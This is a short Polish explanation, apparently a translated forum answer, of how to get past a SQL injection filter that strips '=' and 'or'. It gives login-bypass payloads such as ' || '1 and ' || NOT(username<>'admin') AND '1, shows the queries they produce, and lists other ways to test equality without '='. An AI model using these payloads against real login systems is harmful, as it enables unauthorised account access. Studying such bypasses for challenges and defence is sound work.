Zakładając ta definicja lvl2_filter
, co zasadniczo usuwa każde wystąpienie =
i or
dopóki nie zostanie znaleziony, nadal powinno być możliwe użycie operacja logiczna OR
z ||
zamiast OR
i proste wyrażenie, którego wynikiem jest prawda, na przykład:
username: dummy
password: ' || '1
Spowodowałoby to:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Aby wybrać konkretnego użytkownika, można użyć zasad algebry logicznej
, gdzie x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Spowodowałoby to:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Tutaj <>
jest odpowiednikiem !=
ale nie zawiera =
.
Istnieją również inne operacje, których można użyć, zapewniając nazwa użytkownika równa się admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …